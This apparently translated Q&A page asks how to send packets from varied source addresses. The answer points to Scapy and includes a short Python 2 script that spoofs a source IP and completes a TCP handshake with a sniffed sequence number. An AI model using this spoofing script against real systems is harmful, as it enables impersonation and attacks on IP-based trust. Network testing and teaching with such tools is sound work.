是否有可以模拟来自不同地址的网络流量的 Python 库 [英] Is there a Python library than can simulate network traffic from different addresses

查看:13
本文介绍了是否有可以模拟来自不同地址的网络流量的 Python 库的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

是否有一个 python 库可以让我从不同的源地址和端口向一台机器发送 UDP 数据包(发送到本地主机是可以的)?我记得有一个,但找不到了.

Is there a python library out there than can allow me to send UDP packets to a machine (sending to localhost is ok) from different source addresses and ports? I remember that one existed, but can't find it anymore.

推荐答案

您可以使用 欺骗 IP 地址Scapy 图书馆.

You can spoof an IP address using Scapy library.

这是来自 的示例数据包巫术:用 Python 统治网络:

#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
    print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)"

这篇关于是否有可以模拟来自不同地址的网络流量的 Python 库的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆